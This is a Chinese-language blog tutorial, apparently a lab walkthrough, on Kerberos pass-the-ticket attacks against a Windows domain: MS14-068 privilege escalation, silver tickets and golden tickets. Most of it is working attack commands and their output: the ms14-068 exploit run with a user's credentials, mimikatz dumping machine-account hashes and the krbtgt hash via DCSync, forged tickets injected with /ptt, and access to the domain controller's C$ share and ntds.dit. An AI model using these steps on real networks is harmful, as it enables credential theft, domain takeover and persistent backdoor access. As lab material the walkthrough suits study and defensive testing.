描述

ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:

MS16-068,Golden ticket,SILVER ticket。

之前介绍了Kerberos协议具体工作方法,在域中,简要介绍一下:

  • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
  • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
  • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
  • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

ms14-068

1
2
3
4
5
6
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.

windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。
1. 在请求AS时,将require_PAC设置成False。
2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)

造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780

1
systeminfo |find "3011780"

影响范围

涉及系统:Windows Server 2003
Windows Vista
Windows Server 2008
Windows 7
Windows Server 2008 R2
Windows 8 and Windows 8.1
Windows Server 2012 and Windows Server 2012 R2
Server Core installation option

利用方式

1.使用whoami /user得到普通域用户的sid

1
2
3
4
5
6
7
8
9
10
11
12
C:\Users\cve-test>whoami /user

用户信息
----------------

用户名 SID
============ ==============================================
lab\cve-test S-1-5-21-1799307087-3941118632-1964125693-2102

C:\Users\cve-test>


2.利用工具 ms14-068

使用方法:

1
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

运行实例

1
MS14-068.exe -u [email protected] -s S-1-5-21-1799307087-3941118632-1964125693-2102 -d 192.168.100.30 -p 123.com

输出内容

1
2
3
4
5
6
7
8
9
10
C:\Users\win7\Desktop>MS14-068.exe -u [email protected] -s S-1-5-21-1799307087-3941118632-1964125693-2102 -d 192.168.100.30 -p 123.com
[+] Building AS-REQ for 192.168.100.30... Done!
[+] Sending AS-REQ to 192.168.100.30... Done!
[+] Receiving AS-REP from 192.168.100.30... Done!
[+] Parsing AS-REP from 192.168.100.30... Done!
[+] Building TGS-REQ for 192.168.100.30... Done!
[+] Sending TGS-REQ to 192.168.100.30... Done!
[+] Receiving TGS-REP from 192.168.100.30... Done!
[+] Parsing TGS-REP from 192.168.100.30... Done!
[+] Creating ccache file '[email protected]'... Done!

3.票据注入

使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器

1
2
3
mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
C:\Users\win7\Desktop\mimikatz_trunk1 2\x64>mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Jul 9 2021 22:59:41
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # kerberos::list

[00000000] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2021/12/17 10:54:07 ; 2021/12/17 20:54:06 ; 2021/12/24 10:54:06
Server Name : krbtgt/LAB.COM @ LAB.COM
Client Name : cve-test @ LAB.COM
Flags 50a10000 : name_canonicalize ; pre_authent ; renewable ; proxiable ; forwardable ;

mimikatz # kerberos::purge
Ticket(s) purge for current session is OK

mimikatz # kerberos::list

mimikatz #

mimikatz # kerberos::ptc [email protected]

Principal : (01) : cve-test ; @ LAB.COM

Data 0
Start/End/MaxRenew: 2021/12/17 10:57:51 ; 2021/12/17 20:57:51 ; 2021/12/24 10:57:51
Service Name (01) : krbtgt ; LAB.COM ; @ LAB.COM
Target Name (01) : krbtgt ; LAB.COM ; @ LAB.COM
Client Name (01) : cve-test ; @ LAB.COM
Flags 50a10000 : name_canonicalize ; pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
8f1c17519f93dab38a391bc832a477d5
Ticket : 0x00000000 - null ; kvno = 2 [...]
* Injecting ticket : OK

mimikatz # exit
Bye!

注入票据后,可以使用dir \x.x.x.x\c$ 来访问域控(后续利用参考,wmic等方式)

白银票据(Silver ticket)

描述

silver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。

首先需要目标的机器账号hash。然后在进行伪造权限,进行ptt

目标机器为win2008,攻击机器为win7

1.使用mimikatz获取到win2008的机器账号(WIN2008$)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN2008$
Domain : LAB
Logon Server : (null)
Logon Time : 2021/12/16 13:11:16
SID : S-1-5-20
msv :
[00000003] Primary
* Username : WIN2008$
* Domain : LAB
* NTLM : f78dd9e2f973830056e39dff42af4930
* SHA1 : b44b0b6700f297142b5e635ceb5b8ae6dcf9cae5
tspkg :
wdigest :

2.在普通域用户机器中进行ptt

获取SID,票据利用中不需要SID最后几位的身份识别码。

1
2
3
4
5
6
7
8
9
C:\Users\cve-test>whoami /user

用户信息
----------------

用户名 SID
============ ==============================================
lab\cve-test S-1-5-21-1799307087-3941118632-1964125693-2102

进行ptt

1
kerberos::golden /domain:lab.com /sid:S-1-5-21-1799307087-3941118632-1964125693  /target:win2008.lab.com /rc4:f78dd9e2f973830056e39dff42af4930  /service:cifs /user:mary /ptt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

.#####. mimikatz 2.2.0 (x64) #19041 Jul 9 2021 22:59:41
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK

mimikatz(commandline) # kerberos::golden /domain:lab.com /sid:S-1-5-21-1799307087-3941118632-1964125693 /target:win2008.lab.com /rc4:f78dd9e2f973830056e39dff42af4930 /service:cifs /user:mary /ptt
User : mary
Domain : lab.com (LAB)
SID : S-1-5-21-1799307087-3941118632-1964125693
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: f78dd9e2f973830056e39dff42af4930 - rc4_hmac_nt
Service : cifs
Target : 192.168.100.37
Lifetime : 2021/12/19 14:57:51 ; 2031/12/17 14:57:51 ; 2031/12/17 14:57:51
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'mary @ lab.com' successfully submitted for current session

可成功访问win2008的机器,后续利用参考wmic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>dir \\win2008\c$
驱动器 \\win2008\c$ 中的卷没有标签。
卷的序列号是 A09D-7ABE

\\win2008\c$ 的目录

2009/07/14 11:20 <DIR> PerfLogs
2021/08/23 18:27 <DIR> Program Files
2009/07/14 13:06 <DIR> Program Files (x86)
2021/12/14 22:38 <DIR> Users
2021/08/23 20:40 <DIR> Windows
2021/12/16 15:25 59 新建文本文档.txt
1 个文件 59 字节
5 个目录 30,594,490,368 可用字节

C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>whoami
lab\cve-test

C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>hostname
win7

C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>klist

当前登录 ID 是 0:0x5028a

缓存的票证: (2)

#0> 客户端: mary @ lab.com
服务器: cifs/win2008.lab.com @ lab.com
Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
票证标志 0x40a00000 -> forwardable renewable pre_authent
开始时间: 12/19/2021 15:12:39 (本地)
结束时间: 12/17/2031 15:12:39 (本地)
续订时间: 12/17/2031 15:12:39 (本地)
会话密钥类型: RSADSI RC4-HMAC(NT)

C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>

黄金票据(Golden ticket)

描述

Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。

那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门

伪造黄金凭据需要具备下面条件:

  • krbtgt用户的hash(就意味着你已经有域控制器权限了)
  • 域名称
  • 域的SID值
  • 要伪造的用户名

登陆域控,dump krbtgt用户的hash值,

1
2
3
privilege::debug

lsadump::dcsync /dc01.lab.com /all
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
  .#####.   mimikatz 2.2.0 (x64) #19041 Jul  9 2021 22:59:41
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::dcsync /dc01.lab.com /all
[DC] 'lab.com' will be the domain
[DC] 'DC01.lab.com' will be the DC server
[DC] Exporting domain 'lab.com'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

...
...
** SAM ACCOUNT **

SAM Username : krbtgt
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Object Security ID : S-1-5-21-1799307087-3941118632-1964125693-502
Object Relative ID : 502

Credentials:
Hash NTLM: 392ffcfeacc6914f5a2e4d3f7893457d

Object RDN : Read-only Domain Controllers

** SAM ACCOUNT **

SAM Username : Read-only Domain Controllers
Object Security ID : S-1-5-21-1799307087-3941118632-1964125693-521
Object Relative ID : 521

Credentials:
...
...

进行ptt

1
2
3
kerberos::golden /admin:administrator /domain:lab.com /sid:S-1-5-21-1799307087-3941118632-1964125693 /krbtgt:392ffcfeacc6914f5a2e4d3f7893457d /ticket:golden.kiribi

kerberos::golden /admin:administrator /domain:lab.com /sid:S-1-5-21-1799307087-3941118632-1964125693 /krbtgt:392ffcfeacc6914f5a2e4d3f7893457d /ptt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Jul 9 2021 22:59:41
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # kerberos::golden /admin:administrator /domain:lab.com /sid:S-1-5-21-1
799307087-3941118632-1964125693 /krbtgt:392ffcfeacc6914f5a2e4d3f7893457d /ptt
User : administrator
Domain : lab.com (LAB)
SID : S-1-5-21-1799307087-3941118632-1964125693
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 392ffcfeacc6914f5a2e4d3f7893457d - rc4_hmac_nt
Lifetime : 2021/12/19 15:30:40 ; 2031/12/17 15:30:40 ; 2031/12/17 15:30:40
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'administrator @ lab.com' successfully submitted for current s
ession

mimikatz # exit
Bye!

C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>klist

当前登录 ID 是 0:0x5028a

缓存的票证: (1)

#0> 客户端: administrator @ lab.com
服务器: krbtgt/lab.com @ lab.com
Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
票证标志 0x40e00000 -> forwardable renewable initial pre_authent
开始时间: 12/19/2021 15:30:40 (本地)
结束时间: 12/17/2031 15:30:40 (本地)
续订时间: 12/17/2031 15:30:40 (本地)
会话密钥类型: RSADSI RC4-HMAC(NT)


C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>dir \\dc01.lab.com\c$
驱动器 \\dc01.lab.com\c$ 中的卷没有标签。
卷的序列号是 C219-9288

\\dc01.lab.com\c$ 的目录

2021/10/23 20:12 <JUNCTION> $SNAP_202110232011_VOLUMEC$ [\??\Volume{2069
70b5-33f3-11ec-80bd-000c29ed4c86}\]
2021/12/11 20:27 <JUNCTION> $SNAP_202112112026_VOLUMEC$ [\??\Volume{aab2
c429-3950-11ec-80c2-000c29ed4c86}\]
2021/12/11 20:26 20,987,904 ntds.dit
2013/08/22 23:52 <DIR> PerfLogs
2021/08/23 20:36 <DIR> Program Files
2013/08/22 23:39 <DIR> Program Files (x86)
2021/12/11 20:31 12,935,168 system
2021/08/23 19:57 <DIR> Users
2021/09/26 11:20 <DIR> Windows
2 个文件 33,923,072 字节
7 个目录 49,284,296,704 可用字节

C:\Users\cve-test\Desktop\mimikatz_trunk1 2\x64>

参考链接

https://www.cnblogs.com/bmjoker/p/10355979.html

https://shu1l.github.io/2020/06/06/qian-xi-huang-jin-piao-ju-yu-bai-yin-piao-ju/

2021-12-20

⬆︎TOP